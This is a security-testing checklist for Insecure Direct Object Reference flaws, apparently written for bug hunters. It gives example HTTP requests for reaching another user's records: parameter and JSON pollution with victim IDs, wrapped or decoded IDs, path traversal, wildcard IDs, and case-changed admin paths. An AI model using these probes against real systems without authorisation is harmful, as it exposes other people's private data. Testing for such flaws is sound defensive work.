Insecure Direct Object Reference

IDOR Checklist

Basics

https://owasp.org/www-project-top-ten/2017/A5_2017-Broken_Access_Control.html For example, let's say we're logging into our bank account, and after correctly authenticating ourselves, we get taken to a URL like this https://example.com/bank?account_number=1234. On that page we can see all our important bank details, and a user would do whatever they needed to do and move along their way thinking nothing is wrong. There is however a potentially huge problem here, a hacker may be able to change the account_number parameter to something else like 1235, and if the site is incorrectly configured, then he would have access to someone else's bank information.

How to Find

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    Add parameters onto the endpoints for example, if there was
GET /api/v1/getuser
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GET /api/v1/getuser?id=1234
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    HTTP Parameter pollution
POST /api/get_profile
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user_id=hacker_id&user_id=victim_id
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    Add .json to the endpoint
GET /v2/GetData/1234
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GET /v2/GetData/1234.json
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    Test on outdated API Versions
POST /v2/GetData
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id=123
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POST /v1/GetData
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id=123
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    Wrap the ID with an array.
POST /api/get_profile
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{"user_id":111}
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POST /api/get_profile
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{"id":[111]}
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    Wrap the ID with a JSON object
POST /api/get_profile
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{"user_id":111}
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POST /api/get_profile
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{"user_id":{"user_id":111}}
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    JSON Parameter Pollution
POST /api/get_profile
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{"user_id":"hacker_id","user_id":"victim_id"}
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    Try decode the ID, if the ID encoded using md5,base64,etc
GET /GetUser/dmljdGltQG1haWwuY29t
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dmljdGltQG1haWwuY29t => [email protected]
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    If the website using graphql, try to find IDOR using graphql!
GET /graphql
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GET /graphql.php?query=
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    MFLAC (Missing Function Level Access Control)
GET /admin/profile
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GET /ADMIN/profile
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    Try to swap uuid with number
GET /file?id=90ri2-xozifke-29ikedaw0d
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GET /file?id=302
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    Change HTTP Method
GET /api/v1/users/profile/111
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POST /api/v1/users/profile/111
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    Path traversal
GET /api/v1/users/profile/victim_id
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GET /api/v1/users/profile/my_id/../victim_id
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    Change request content type
Content-type: application/xml
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Content-type: application/json
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    Send wildcard instead of ID
GET /api/users/111
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GET /api/users/*
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    Try google dorking to find new endpoint
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